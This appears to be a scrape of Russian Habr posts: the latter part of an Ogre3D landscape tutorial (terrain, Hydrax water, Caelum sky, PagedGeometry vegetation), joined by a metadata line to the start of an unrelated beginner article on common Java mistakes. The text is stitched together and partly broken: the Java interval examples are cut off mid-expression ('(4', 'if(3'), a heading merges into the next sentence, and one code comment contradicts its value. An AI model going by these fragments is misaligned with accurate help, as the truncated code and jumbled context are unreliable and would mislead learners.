> mCaelumSystem->getUniversalClock()->setTimeScale(100); *// ускорим смену времени суток* FlatCloudLayer\* cloudLayer = *// добавим ещё один слой облаков,* mCaelumSystem->getCloudSystem()->createLayer(); *// зададим:* cloudLayer->setCloudCover(0.8f); *// плотность* cloudLayer->setCloudSpeed(Vector2(0.0001f, 0.0001f)); *// скорость* cloudLayer->setHeight(5000); *// и высоту*`
В итоге небо выглядит так:
[](http://lh3.googleusercontent.com/-MGSc6DiCcA0/TmpS3rRqOMI/AAAAAAAAAYE/rfI2zkUnh_0/s0/screen4.png)
[](http://lh6.googleusercontent.com/-B1JXfW7_gSg/TmpS4EuDbAI/AAAAAAAAAYQ/u_-8XCJ5BXE/s0/screen5.png)
[](http://lh3.googleusercontent.com/-i2kqdax-hKI/TmpS4Em0wTI/AAAAAAAAAYM/QETguA5RPHk/s0/screen6.png)
Пришло время добавить в наше приложение поверхность земли, чтобы солнцу и луне было, куда заходить.
Шаг третий: земля
=================
Воспользуемся родной огровской подсистемой рендеринга местности ([Ogre Terrain System](http://www.ogre3d.org/tikiwiki/Ogre+Terrain+System)) для добавления в наше приложение земной поверхности. Эта система была создана в 2009-ом году создателем Ogre [Стивом Стритингом](http://www.ogre3d.org/tikiwiki/User%3ASinbad) на смену устаревшим аддонам для рендеринга местности и является полностью отдельным опциональным компонентом (тем не менее, с версии 1.7 входящим в поставку Ogre). Ogre Terrain System включает в себя всё необходимое как для создания небольших тестовых приложений вроде нашего, так и для огромных миров, загружаемых в оперативную память отдельными небольшими кусочками-страницами — подробнее об этом можно почитать на огр-форуме, например, [здесь](http://www.ogre3d.org/forums/viewtopic.php?f=2&t=60456); более того, один из проектов GSoC'11 — [улучшение механизма страничной загрузки местности](http://www.ogre3d.org/tikiwiki/SoC2011+Terrain+Paging+Improvements).
Первым делом, дадим знать CMake о наших намерениях: в файле CMakeLists.txt добавим `${OGRE_Terrain_LIBRARIES}` в список линкуемых библиотек через команду `target_link_libraries`:
> `target\_link\_libraries(LandscapeApp ${OGRE\_LIBRARIES} ${OGRE\_Terrain\_LIBRARIES} ${OIS\_LIBRARIES} Caelum)`
Теперь добавим в метод `LandscapeApplication::createScene` код для загрузки одной страницы местности (взятой мною из примера «Terrain» в составе Ogre), почти совпадающий с кодом из [Ogre Basic Tutorial 3](http://www.ogre3d.org/tikiwiki/Basic+Tutorial+3#Terrain):
**Код**
> `mCamera->setPosition(Vector3(1683, 50, 2116)); *// направляем камеру*mCamera->lookAt(Vector3(1963, 50, 1660));
>
>
>
> Vector3 lightdir(0.55f, -0.3f, 0.75f); *// свет для статического освещения местности*lightdir.normalise();
>
> Light\* light = mSceneMgr->createLight("tstLight");
>
> light->setType(Light::LT_DIRECTIONAL);
>
> light->setDirection(lightdir);
>
> light->setDiffuseColour(ColourValue::White);
>
> light->setSpecularColour(ColourValue(0.4f, 0.4f, 0.4f));
>
>
>
> mTerrainGlobals = OGRE_NEW TerrainGlobalOptions; *// глобальные настройки местности*mTerrainGroup = OGRE_NEW TerrainGroup(mSceneMgr, *// группа страниц местности* Terrain::ALIGN_X_Z, 513, 12000);
>
> mTerrainGroup->setOrigin(Vector3::ZERO);
>
> mTerrainGlobals->setLightMapDirection(light->getDerivedDirection());
>
> mTerrainGlobals->setCompositeMapAmbient(mSceneMgr->getAmbientLight());
>
> mTerrainGlobals->setCompositeMapDiffuse(light->getDiffuseColour());
>
> mSceneMgr->destroyLight("tstLight");
>
>
>
> mTerrainGroup->defineTerrain(0, 0); *// обозначаем наше намерение загрузить страницу с координатой (0, 0)*mTerrainGroup->loadAllTerrains(**true**); *// собственно, загружаем все запрошенные страницы в синхронном режиме*mTerrainGroup->freeTemporaryResources(); *// прибираемся*`
И, само собой, добавим в наш главный класс указатели `mTerrainGlobals` и `mTerrainGroup`:
**Код**
> `#include
>
> #include
>
>
>
> **class** **LandscapeApplication** : **public** BaseApplication
>
> {
>
> *// ...***protected**:
>
> *// ...* Ogre::TerrainGlobalOptions\* mTerrainGlobals;
>
> Ogre::TerrainGroup\* mTerrainGroup;
>
> };`
Если не заданы особые параметры, то страница с координатой (0, 0) будет загружаться из файла terrain\_00000000.dat, который я и добавил в вышеупомянутый [архив media.zip](https://github.com/downloads/lockie/Landscape/media.zip).
Результат не заставляет себя долго ждать:
[](http://lh5.googleusercontent.com/-_fXydLJE9p0/Tm-zPS8siHI/AAAAAAAAAaQ/basufaagbkw/s0/4.png)
[](http://lh4.googleusercontent.com/-ryXv-xKdEIY/Tm-zPQ3XPYI/AAAAAAAAAaE/7MngxdvDWW4/s0/5.png)
Шаг четвёртый: вода
===================
Наиболее широко распространённая библиотека для рендеринга водной поверхности с использованием [проекционной сетки](http://uraldev.ru/articles/id/35/page/3) в Ogre — Hydrax, распространяется по лицензии GNU Lesser GPL.
Качаем [отсюда](http://www.ogre3d.org/addonforums/viewtopic.php?f=20&t=8391) (ссылка внизу первого поста) архив, для дальнейшей работы нужен будет каталог Hydrax-v0.5.1/Hydrax/src/Hydrax из него, который я и скопировал в дерево тестового проекта.
К сожалению, Hydrax не поддерживает систему сборки CMake, поэтому пришлось написать файл Hydrax/CMakeLists.txt для неё, который, впрочем, лишь чуть сложнее простого перечисления исходников и заголовочных файлов. Для интеграции Hydrax в систему сборки в основном CMakeLists.txt нужно добавить следующее:
**Код**
> `include\_directories(
>
> *# ...* "Hydrax"
>
> )
>
> add\_subdirectory(Hydrax)
>
> *# ...*target\_link\_libraries(LandscapeApp ${OGRE\_LIBRARIES} ${OGRE\_Terrain\_LIBRARIES} ${OIS\_LIBRARIES} Caelum Hydrax)`
Далее, для добавления водных эффектов в наше приложение понадобится правильно проинициализированный экземпляр класса `Hydrax::Hydrax`:
**Код**
> `*// в файле LandscapeApplication.hpp***class** **LandscapeApplication** : **public** BaseApplication
>
> {
>
> *// ...***protected**:
>
> *// ...* Hydrax::Hydrax\* mHydrax;
>
> };
>
>
>
> *// в файле LandscapeApplication.cpp*void LandscapeApplication::createScene(void)
>
> {
>
> *// ...* mHydrax = **new** Hydrax::Hydrax(mSceneMgr, mCamera, mWindow->getViewport(0));
>
> Hydrax::Module::ProjectedGrid\* mModule = **new** Hydrax::Module::ProjectedGrid( *// модуль проекционной сетки* mHydrax, *// указатель на главный класс Hydrax* **new** Hydrax::Noise::Perlin(*/\* без особых параметров \*/*), *// модуль для создания ряби* Ogre::Plane(Ogre::Vector3(0,1,0), Ogre::Vector3(0,0,0)), *// водная поверхность* Hydrax::MaterialManager::NM_VERTEX, *// режим карты нормалей* Hydrax::Module::ProjectedGrid::Options(64)); *// опции сетки* mHydrax->setModule(mModule);
>
> mHydrax->loadCfg("HydraxDemo.hdx");
>
> mHydrax->create();
>
> }`
Запустив наше приложение, наблюдаем неожиданную картину:
[](http://lh5.googleusercontent.com/-NyMqu8wKVdk/Tm-zUrnPN1I/AAAAAAAAAao/iikH09cJwzg/s0/6.png)
Вместо воды какие-то чернила. Что же произошло?
Дело в том, что Caelum подгоняет опции Ogre, связанные с туманом так, чтобы они наиболее соответствовали атмосферной модели, используемой в Caelum. Тем не менее, эти опции не дают воде из Hydrax рендериться правильно. Немного подкрутив опции Caelum (а именно, сказав `mCaelumSystem->setGlobalFogDensityMultiplier(0.01)`, т.е. уменьшив плотность тумана), можно убедиться, что вода, создаваемая Hydrax, на самом деле на месте:
[](http://lh4.googleusercontent.com/-SanswqlJY9s/Tm-zU-gJAgI/AAAAAAAAAas/B3K-nQI4w1Y/s0/7.png)
Тщательная подгонка параметров тумана выходит за рамки этой статьи, поэтому в нашем тестовом приложении мы попросту отключим туман:
> `void LandscapeApplication::createScene(void)
>
> {
>
> *// ...* cloudLayer->setHeight(5000);
>
> mCaelumSystem->setManageSceneFog(Ogre::FOG_NONE);`
Тут нас поджидает следующая неожиданность:
[](http://lh4.googleusercontent.com/-yCgEV1hqjOA/Tm-zVpZ6LpI/AAAAAAAAAaw/YDqaqQT2up8/s0/8.png)
Такая нелицеприятная картина — результат того, что ландшафт, добавленный нами на третьем шаге, не является обычным [объектом (*entity*) Ogre](http://www.ogre3d.org/docs/api/html/classOgre_1_1Entity.html), поэтому Hydrax не учитывает его при расчёте водной поверхности. Для исправления этой ситуации достаточно добавить [технику](http://www.ogre3d.org/docs/manual/manual_15.html) глубины в материал ландшафта:
> `void LandscapeApplication::createScene(void)
>
> {
>
> *// ...* mHydrax->create();
>
>
>
> mHydrax->getMaterialManager()->addDepthTechnique(
>
> mTerrainGroup->getTerrain(0, 0)->getMaterial()->createTechnique());`
В результате чего получим следующую радующую глаз картину:
[](http://lh6.googleusercontent.com/-Eb-F7H9_62Q/Tm-zVxJ7aUI/AAAAAAAAAa0/tSECtVa1LjE/s0/9.png)
Внимательно понаблюдав за нашим приложением, можно прийти к выводу, что Caelum и Hydrax даже не догадываются о существовании друг друга — например, после захода солнца и до восхода луны на воде остаются [каустики](http://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%83%D1%81%D1%82%D0%B8%D0%BA%D0%B0), чего быть физически не может:
[](http://lh5.googleusercontent.com/-6gCW45fUG30/TmpS7AcWszI/AAAAAAAAAYs/0ObIrsnkSRQ/s0/screen14.png)
Кроме того, расположение солнечного блика на воде не соответствует действительному положению солнца, более того, блик остаётся даже после его захода:
[](http://lh6.googleusercontent.com/-6QlsTYdEO28/TmpS76-QEpI/AAAAAAAAAY0/DObBZMf1DbY/s0/screen15.png)
Для решения этой проблемы воспользуемся слегка модифицированным [кодом](http://tracker.ogitor.org/projects/ogitor/changeset/view/2142#Plugins/OgHydrax/HydraxWaterEditor.cpp), отвечающим за интеграцию Caelum и Hydrax, из вышеупомянутого редактора Ogitor:
**Кот**
> `*// в файле LandscapeApplication.hpp***class** **LandscapeApplication** : **public** BaseApplication
>
> {
>
> *// ...***protected**:
>
> **virtual** bool frameEnded(**const** Ogre::FrameEvent& evt);
>
> Ogre::Vector3 mOriginalWaterColor;
>
>
>
> *// в файле LandscapeApplication.cpp*void LandscapeApplication::createScene(void)
>
> {
>
> *// ...* mHydrax->loadCfg("HydraxDemo.hdx");
>
> mOriginalWaterColor = mHydrax->getWaterColor();
>
> *// ...*
>
> bool LandscapeApplication::frameEnded(**const** Ogre::FrameEvent& evt)
>
> {
>
> Vector3 value = mCaelumSystem->getSun()->getSceneNode()->_getDerivedPosition();
>
> ColourValue cval = mCaelumSystem->getSun()->getBodyColour();
>
> mHydrax->setSunPosition(value);
>
> mHydrax->setSunColor(Vector3(cval.r,cval.g,cval.b));
>
> Caelum::LongReal mJulian = mCaelumSystem->getUniversalClock()->getJulianDay();
>
> cval = mCaelumSystem->getSunLightColour(mJulian,
>
> mCaelumSystem->getSunDirection(mJulian));
>
> mHydrax->setWaterColor(Vector3(cval.r - 0.3, cval.g - 0.2, cval.b));
>
> Vector3 col = mHydrax->getWaterColor();
>
> float height = mHydrax->getSunPosition().y / 10.0f;
>
> Hydrax::HydraxComponent c = mHydrax->getComponents();
>
> **if**(height < 0)
>
> {
>
> **if**(mHydrax->isComponent(Hydrax::HYDRAX_COMPONENT_CAUSTICS))
>
> mHydrax->setComponents(Hydrax::HydraxComponent(
>
> c ^ Hydrax::HYDRAX_COMPONENT_CAUSTICS));
>
> } **else** {
>
> **if**(!mHydrax->isComponent(Hydrax::HYDRAX_COMPONENT_CAUSTICS))
>
> mHydrax->setComponents(Hydrax::HydraxComponent(
>
> c | Hydrax::HYDRAX_COMPONENT_CAUSTICS));
>
> }
>
> **if**(height < -99.0f)
>
> {
>
> col = mOriginalWaterColor \* 0.1f;
>
> height = 9999.0f;
>
> }
>
> **else** **if**(height < 1.0f)
>
> {
>
> col = mOriginalWaterColor \* (0.1f + (0.009f \* (height + 99.0f)));
>
> height = 100.0f / (height + 99.001f);
>
> }
>
> **else** **if**(height < 2.0f)
>
> {
>
> col += mOriginalWaterColor;
>
> col /= 2.0f;
>
> float percent = (height - 1.0f);
>
> col = (col \* percent) + (mOriginalWaterColor \* (1.0f - percent));
>
> }
>
> **else**
>
> {
>
> col += mOriginalWaterColor;
>
> col /= 2.0f;
>
> }
>
> mHydrax->setWaterColor(col);
>
> mHydrax->setSunArea(height);
>
> mHydrax->update(evt.timeSinceLastFrame);
>
> **return** **true**;
>
> }`
В результате получаем романтический закат и… пару новых артефактов:
[](http://lh5.googleusercontent.com/-C4xb0y21wik/TmpS8BgmMjI/AAAAAAAAAY4/0-_tSMcg1Ys/s0/screen16.png)
Во-первых, при движении камерой на горизонте то появляются, то исчезают длинные белые полоски. Происходит это потому, что водная поверхность пересекается с [дальней плоскостью отсечения](http://ru.wikipedia.org/wiki/%D0%9E%D1%82%D1%81%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5) (*far clipping plane*) на достаточно близком расстоянии, что и порождает видимые артефакты. Решение этой проблемы — проще некуда, достаточно увеличить расстояние до этой плоскости:
> `mCamera->setFarClipDistance(1000000);`
Во-вторых, нижняя часть солнца, «ушедшая» под воду, которую вообще не должно быть видно, имеет бросающиеся в глаза белые края. Корень этой проблемы такой же, как и у проблемы с ландшафтом: солнце (и луна) не являются обычными объектами Ogre; для её исправления также нужно добавить технику глубины в материал этих объектов. Наилучшее место для этого — файлы Sun.material и moon.material в каталоге media/Caelum; необходимо в каждый материал, описанный в этих файлах, добавить следующий абзац:
> `technique HydraxDepth
>
> {
>
> scheme HydraxDepth
>
> pass
>
> {
>
> lighting off
>
> texture_unit
>
> {
>
> colour_op_ex modulate src_manual src_current 0 0 0
>
> }
>
> }
>
> }`
Архив media\_fixed.zip со всеми необходимыми исправлениями можно скачать [здесь](https://github.com/downloads/lockie/Landscape/media_fixed.zip). После запуска приложения с ними всё встаёт на свои места:
[](http://lh5.googleusercontent.com/-Ai86C3ARsp4/TmpS8PamGhI/AAAAAAAAAY8/kZomgcYEbd0/s0/screen17.png)
Шаг пятый: растительность
=========================
Последним штрихом добавим немного флоры в наш уютный пейзаж. Для этого как нельзя лучше подходит библиотека Ogre Paged Geometry Engine, ибо она позволяет рендерить огромные количества небольших мешей на больших расстояниях, что особенно ценно для построения, например, сцены леса с деревьями, кустами, травой, камнями, и прочая, и прочая. Распространяется эта библиотека по одной из самых либеральных среди свободных лицензии — MIT (как и сам Ogre).
Последнюю версию Paged Geometry можно скачать [этому адресу](http://code.google.com/p/ogre-paged/downloads/list), опять-таки все необходимые файлы я скопировал в дерево исходников тестового проекта. Библиотека поддерживает CMake, поэтому в наш CMakeLists.txt понадобится добавить всего несколько строк: расположение заголовочных файлов, расположение библиотечного файла и расположение самих исходников библиотеки:
> `include\_directories(
>
> *# ...* "PagedGeometry/include"
>
> "${CMAKE\_BINARY\_DIR}/PagedGeometry/include"
>
>
>
> *# ...*add\_subdirectory(PagedGeometry)
>
> *# ...*target\_link\_libraries(LandscapeApp ${OGRE\_LIBRARIES} ${OGRE\_Terrain\_LIBRARIES} ${OIS\_LIBRARIES}
>
> Caelum Hydrax PagedGeometry)`
Далее, в нашем приложении мы ограничимся добавлением трёх типов объектов:
1. травы;
2. деревьев;
3. прочей растительности (кустов, цветов и грибов).
Для этого добавим указатели на экземпляры ключевого класса `Forests::PagedGeometry` (и вспомогательного `Forests::GrassLoader`) в наш главный класс, не забыв об необходимых для этого подключаемых файлах:
> `#include
>
> #include
>
>
>
> **class** **LandscapeApplication** : **public** BaseApplication
>
> {
>
> *// ...***protected**:
>
> *// ...* Forests::PagedGeometry \*grass, \*trees, \*bushes;
>
> Forests::GrassLoader\* grassLoader;
>
> };`
Затем проинициализируем эти указатели нулями, изменив конструктор `LandscapeApplication` следующим образом:
> `LandscapeApplication::LandscapeApplication(void) : grass(NULL), trees(NULL), bushes(NULL)
>
> {
>
> }`
Кроме того, нам понадобится функция, возвращающая высоту ландшафта в точке с заданными координатами x и z; вызывая эту функцию, Paged Geometry будет правильным образом расставлять всю свою бутафорию на земле. Нужна будет именно функция, а не метод класса, т.к. в методы класса неявно передаётся указатель `this`, который библиотеке будет попросту неоткуда взять. Следовательно, нам понадобится глобальная переменная — указатель на класс, управляющий группой страниц ландшафта, для связи между собственно ландшафтом и нашей функцией. Что ж, реализуем задуманное:
> `**static** TerrainGroup\* terrainGroup = NULL;
>
>
>
> **static** float getTerrainHeight(float x, float z, void\* userData)
>
> {
>
> OgreAssert(terrainGroup, "Terrain isn't initialized");
>
> **return** terrainGroup->getHeightAtWorldPosition(x, 0, z);
>
> }`
Так как данная переменная изначально равна `NULL`, её необходимо проинициализировать указателем на экземпляр класса `TerrainGroup`, что мы и сделаем следующей строчкой после кода инициализации ландшафта в методе `createScene`:
> `terrainGroup = mTerrainGroup;`
Наконец, теперь можно добавить код инициализации всех необходимых нам объектов в метод `createScene`:
**Код**
> `*// трава* grass = **new** PagedGeometry(mCamera);
>
> grass->addDetailLevel<GrassPage>(160); *// уровень детализации: не рендерить траву дальше 60 единиц от камеры* grassLoader = **new** GrassLoader(grass);
>
> grass->setPageLoader(grassLoader);
>
> grassLoader->setHeightFunction(getTerrainHeight); *// функция, возвращающая высоту ландшафта в заданной точке* GrassLayer\* l = grassLoader->addLayer("3D-Diggers/plant1sprite"); *// добавить слой травы* l->setMinimumSize(0.9f, 0.9f); *// максимальный...* l->setMaximumSize(2, 2); *// ... и минимальный размер* l->setAnimationEnabled(**true**); *// включить анимацию* l->setSwayDistribution(7.0f); *// колебания травы от ветра* l->setSwayLength(0.1f); *// амплитуда колебаний - 0.1 единиц* l->setSwaySpeed(0.4f); *// скорость колебаний* l->setDensity(3.0f); *// плотность травы* l->setRenderTechnique(GRASSTECH_SPRITE); *// рендерим с помощью спрайтов* l->setFadeTechnique(FADETECH_GROW); *// при движении камеры трава должна медленно подниматься* l->setColorMap("terrain\_texture2.jpg"); *// карта распределения цвета* l->setDensityMap("densitymap.png"); *// карта плотности* l->setMapBounds(TBounds(0, 0, 3000, 3000)); *// границы слоя* *// деревья* trees = **new** PagedGeometry(mCamera);
>
> trees->addDetailLevel<WindBatchPage>(150, 30); *// использовать батчинг на расстоянии между 150 и 180 единицами* trees->addDetailLevel<ImpostorPage>(900, 50); *// заменять модели спрайтами на расстоянии между 900 и 950 единицами* TreeLoader2D \*treeLoader = **new** TreeLoader2D(trees, TBounds(0, 0, 5000, 5000));
>
> trees->setPageLoader(treeLoader);
>
> treeLoader->setHeightFunction(getTerrainHeight); *// функция, возвращающая высоту ландшафта в заданной точке* treeLoader->setColorMap("terrain\_lightmap.jpg"); *// карта распределения цвета* Entity \*tree1 = mSceneMgr->createEntity("Tree1", "fir05\_30.mesh"); *// загрузить модели деревьев* Entity \*tree2 = mSceneMgr->createEntity("Tree2", "fir14\_25.mesh");
>
> trees->setCustomParam(tree1->getName(), "windFactorX", 15); *// параметры ветра* trees->setCustomParam(tree1->getName(), "windFactorY", 0.01f);
>
> trees->setCustomParam(tree2->getName(), "windFactorX", 22);
>
> trees->setCustomParam(tree2->getName(), "windFactorY", 0.013f);
>
> *// распределяем случайным образом 5000 копий деревьев* Vector3 position = Vector3::ZERO;
>
> Radian yaw;
>
> Real scale;
>
> **for** (int i = 0; i < 5000; i++)
>
> {
>
> yaw = Degree(Math::RangeRandom(0, 360));
>
> position.x = Math::RangeRandom(0, 2000); *// координата Y не требуется, т.к. будет вычислена* position.z = Math::RangeRandom(2300, 4000); *// с помощью ф-ии getTerrainHeight, для быстродействия* scale = Math::RangeRandom(0.07f, 0.12f);
>
> **if** (Math::UnitRandom() < 0.5f)
>
> {
>
> **if** (Math::UnitRandom() < 0.5f)
>
> treeLoader->addTree(tree1, position, yaw, scale);
>
> }
>
> **else**
>
> treeLoader->addTree(tree2, position, yaw, scale);
>
> }
>
> *// кусты/грибы* bushes = **new** PagedGeometry(mCamera);
>
> bushes->addDetailLevel<WindBatchPage>(80, 50);
>
> TreeLoader2D \*bushLoader = **new** TreeLoader2D(bushes, TBounds(0, 0, 5000, 5000));
>
> bushes->setPageLoader(bushLoader);
>
> bushLoader->setHeightFunction(getTerrainHeight);
>
> bushLoader->setColorMap("terrain\_lightmap.jpg");
>
> Entity \*fern = mSceneMgr->createEntity("Fern", "farn1.mesh"); *// загрузить модель папоротника* Entity \*plant = mSceneMgr->createEntity("Plant", "plant2.mesh"); *// загрузить модель цветка* Entity \*mushroom = mSceneMgr->createEntity("Mushroom", "shroom1\_1.mesh"); *// загрузить модель гриба* bushes->setCustomParam(fern->getName(), "factorX", 1); *// параметры ветра* bushes->setCustomParam(fern->getName(), "factorY", 0.01f);
>
> bushes->setCustomParam(plant->getName(), "factorX", 0.6f);
>
> bushes->setCustomParam(plant->getName(), "factorY", 0.02f);
>
> *// распределяем случайным образом 20000 копий кустов и грибов* **for** (int i = 0; i < 20000; i++)
>
> {
>
> yaw = Degree(Math::RangeRandom(0, 360));
>
> position.x = Math::RangeRandom(0, 2000);
>
> position.z = Math::RangeRandom(2300, 4000);
>
> **if** (Math::UnitRandom() < 0.8f) {
>
> scale = Math::RangeRandom(0.3f, 0.4f);
>
> bushLoader->addTree(fern, position, yaw, scale);
>
> } **else** **if** (Math::UnitRandom() < 0.9) {
>
> scale = Math::RangeRandom(0.2f, 0.6f);
>
> bushLoader->addTree(mushroom, position, yaw, scale);
>
> } **else** {
>
> scale = Math::RangeRandom(0.3f, 0.5f);
>
> bushLoader->addTree(plant, position, yaw, scale);
>
> }
>
> }`
… и код финализации в деструктор `LandscapeApplication`:
**Код финализации**
> `LandscapeApplication::~LandscapeApplication(void)
>
> {
>
> **if**(grass)
>
> {
>
> **delete** grass->getPageLoader();
>
> **delete** grass;
>
> grass = NULL;
>
> }
>
> **if**(trees)
>
> {
>
> **delete** trees->getPageLoader();
>
> **delete** trees;
>
> trees = NULL;
>
> }
>
> **if**(bushes)
>
> {
>
> **delete** bushes->getPageLoader();
>
> **delete** bushes;
>
> bushes = NULL;
>
> }
>
> mSceneMgr->destroyEntity("Tree1");
>
> mSceneMgr->destroyEntity("Tree2");
>
> mSceneMgr->destroyEntity("Fern");
>
> mSceneMgr->destroyEntity("Plant");
>
> mSceneMgr->destroyEntity("Mushroom");
>
> }`
(без этого кода приложение будет падать с ошибкой при выходе).
Ну и самое главное — у экземпляров класса `Forests::PagedGeometry` необходимо каждый фрейм вызывать метод `update()` для того, чтобы наш лес рендерился, плавно покачиваясь под порывами виртуального ветра:
> `bool LandscapeApplication::frameEnded(**const** Ogre::FrameEvent& evt)
>
> {
>
> *// ...* grass->update();
>
> trees->update();
>
> bushes->update();
>
> **return** **true**;
>
> }`
Запустив приложение, мы можем наблюдать пасторальный лесной пейзаж:
[](http://lh6.googleusercontent.com/-iQ5ID3LMSH8/Tm-zVzTLMlI/AAAAAAAAAa4/YTJd5OZWCSE/s0/10.png)
[](http://lh3.googleusercontent.com/-gIYd271DZN0/Tm-zWbQeFMI/AAAAAAAAAa8/YwiEoed0OLE/s0/11.png)
… благо, никаких подводных камней нас здесь не поджидает. Единственное, на что стоит обратить внимание — падение производительности: несмотря на множество техник для повышения быстродействия (начиная от банального [LOD](http://ru.wikipedia.org/wiki/Level_of_Detail) и заканчивая механизмом разделения на страницы, подобным аналогичному в подсистеме ландшафта и подменой настоящих деревьев на спрайты на больших расстояниях), Paged Geometry всё-таки требует аккуратной настройки количества отображаемых экземпляров растительности и качества картинки. Здесь опять-таки можно порекомендовать использовать редактор Ogitor, который имеет поддержку Paged Geometry, позволяя легко набросать в нужных местах растительность (примерно как мазать кистью в Paint) и настроить все необходимые параметры.
Полностью скомпилированный и готовый к запуску тестовый проект можно скачать [здесь](https://github.com/downloads/lockie/Landscape/Landscape.bin.zip).
В благодарность всем, кто дочитал до этого места — ещё пара симпатичных скриншотов:
[](http://lh4.googleusercontent.com/-DVzcqghPGf0/TmpS9iL3F4I/AAAAAAAAAZE/j2TRusr6U4M/s0/screen20.png)
[](http://lh3.googleusercontent.com/--NLqT5f7AIs/TmpS-4vlULI/AAAAAAAAAZQ/qrL8ab1PcFk/s0/screen22.png)
И видео (его делал не я, но оно создано с использованием рассматриваемых библиотек — Ogre, Hydrax и Caelum):
Также хочу выразить благодарность хабраюзеру Сергею [ViruScD](https://habrahabr.ru/users/viruscd/) за помощь в подготовке статьи, Андрею [engine9](https://habrahabr.ru/users/engine9/) за помощь в работе с движком Ogre и создателям сайта [dumpz.org](http://dumpz.org) за великолепную подсветку синтаксиса.
**UPD**: Переснял скриншоты со включённым анти-алиасингом, спасибо [m1el](https://habrahabr.ru/users/m1el/) за замечание. | https://habr.com/ru/post/128377/ | null | ru | null |
# Подводные камни Java. Часть 1
С какими трудностями встречается начинающий разработчик java?
Хочу представить вашему вниманию небольшую статью. Статья предназначена для начинающих. Но даже если вы опытный разработчик, не делайте поспешных выводов.
Надеюсь данная публикация будет полезна не только начинающим.
*Цель данной публикации:*
Показать наиболее часто встречающиеся ошибки начинающих и некоторые приемы их исправления. Понятно, что некоторые ошибки могут быть сложными и происходить по тем или иным причинам. Цель публикации в некоторой степени проанализировать их и помочь выявить на раннем этапе. Надеюсь данная публикация будет полезна начинающим.
Контрольный список ошибок:
1. Опечатки. Досадные опечатки, которые не сразу обнаруживаются
2. Присвоение в условии вместо сравнения
3. Логические ошибки в условии
4. Неправильное сравнение строк
5. Неправильная инициализация переменных примитивных типов
6. Неправильное использование double
7. Неправильный тип возвращающего значения в конструкторе.
8. Деление на ноль. POSITIVE\_INFINITY
9. Не учет порядка инициализации класса
10. Локальная переменная скрывает переменную класса
11. Игнорирование автоматически приведение типов в арифметических выражениях
12. Бесконечный цикл с byte, который трудно обнаружить.
13. Имя класса отличается от имени файла, в котором он хранится.
14. Не проинициализированы объекты, являющиеся элементами массива.
15. Помещение в один файл сразу нескольких классов с модификатором public
### Подводные камни Java
Все языки программирования имеют свои достоинства и недостатки. Это обусловлено многими причинами. Язык Java не исключение. Я попытался собрать некоторые очевидные и не очевидные трудности, с которыми сталкивается начинающий программист Java. Уверен, что опытные программисты также найдут в моей статье что-то полезное. Практика, внимательность и полученный опыт программирования, помогут избавить вас от многих ошибок. Но некоторые ошибки и трудности лучше рассмотреть заранее. Я приведу несколько примеров с кодом и объяснениями. Многие объяснения вам станут понятны из комментариев к коду. Практика дает очень многое, так как некоторые правила не столь очевидны. Некоторые лежат на поверхности, некоторые скрыты в библиотеках языка или в виртуальной машине java. Помните, что java это не только язык программирования с набором библиотек, это еще и виртуальная машина java.
Для статьи я специально написал работающий код с подробными комментариями. Для написания статьи с примерами кода использовалась java 8. Для тестирования код java помещен в отдельные пакеты.
Пример: «package underwaterRocks.simple;»
С какими трудностями сталкиваются начинающие?
### Опечатки
Бывает так, что начинающие программисты делают опечатки, которые трудно обнаружить с первого взгляда.
*Пример кода:*
Файл: «Simple.java»
```
/*
учебные пример
; после условия и блок
*/
package underwaterRocks.simple;
/**
*
* @author Ar20L80
*/
public class Simple {
public static void main(String[] args) {
int ival = 10;
if(ival>0);
{
System.out.println("Этот блок не зависит от условия");
}
}
}
```
*Объяснение*: «Точка с запятой означает конец оператора. В данном случае ';' — это конец пустого оператора. Это логическая ошибка. Такую ошибку бывает трудно обнаружить.
Компилятор сочтет, что всё правильно. Условие if(ival>0); в данном случае не имеет смысла. Потому как означает: если ival больше ноль, ничего не делать и продолжить. Очевидное решение — убрать точку с запятой.»
### Присвоение в условии вместо сравнения
В условии присвоение переменной.
Это не ошибка, но использование такого приема должно быть оправдано.
В большинстве случаев, вы вряд ли будете использовать оператор присвоения, вместо оператора сравнения.
```
boolean myBool = false;
if(myBool = true) System.out.println(myBool);
```
В данном коде if(myBool = true) означает: «Присвоить переменной myBool значение true,
если выражение истинно, выполнить условие следующее за скобками.»
В данном коде условие будет всегда истинно. И System.out.println(myBool); будет выполнено всегда, независимо от условия.
== — это сравнение на равенство.
= — это присвоение, вы можете проговорить a = 10; как: «а присвоить значение 10».
Условие в скобках возвращает логическое значение.
Не важно в каком порядке вы запишите. Вы можете сравнить так: (0 == a) или (5 == a)
Если вы забудете один знак равенства, например так (0 = a) или (5 = a), то компилятор сообщит вам об ошибке. Вы присваиваете значение, а не сравниваете.
Вы также можете записать в удобочитаемой форме какой-то интервал.
Например: вам нужно написать: a больше 5 и меньше 10.
Вы пишите так: (a>4 && a<10), но с таким же успехом вы можете написать: (4
теперь вы видите, что a находится в интервале между 4 и 10, исключая эти значения. Это более наглядно. Сразу видно, что, значение переменной а находится в интервале между 4 и 10 ( ]4,10[ ), исключая эти граничные значения.
Пример в коде(интервал ]3,9[ ):
if(3
### Логическая ошибка
if(условие){} if(условие){} else{} — else относится к ближайшему if.
Часто это бывает причиной ошибок начинающих.
### Неправильное сравнение строкНачинающие довольно часто используют == вместо .equals для сравнения строк.
Инициализация переменных
Рассмотрим инициализацию переменных примитивного типа.
Примитивы (byte, short, int, long, char, float, double, boolean).
Начальные значения.
```
byte 0
short 0
int 0
long 0L
float 0.0f
double 0.0d
char '\u0000'
String (or any object) null
boolean false (зависит от jvm)
```
*Примечание:*
Локальные переменные немного отличаются;
Компилятор никогда не присваивает значение по умолчанию неинициализированной локальной переменной.
Если вы не можете инициализировать свою локальную переменную там, где она объявлена,
не забудьте присвоить ей значение, прежде чем будете её использовать.
Доступ к неинициализированной локальной переменной приведет к ошибке времени компиляции.
*Подтверждение этого примечания в коде:*
Файл: «MyInitLocal.java»
```
/*
учебные пример
инициализация переменных класса и локальных переменных
*/
package underwaterRocks.myInit;
/**
*
* @author Ar20L80
*/
public class MyInitLocal {
float classes_f;
int classes_gi;
public static void main(String[] args) {
float f;
int i;
MyInitLocal myInit = new MyInitLocal();
/* в этом месте переменные уже инициализированы параметрами по умолчанию.*/
System.out.println("myInit.classes_f = " + myInit.classes_f);
System.out.println("myInit.classes_gi = " + myInit.classes_gi);
// System.out.println("f = " + f); // ошибка. Локальная переменная не инициализирована
// System.out.println("f = " + i); // ошибка. Локальная переменная не инициализирована
}
}
```
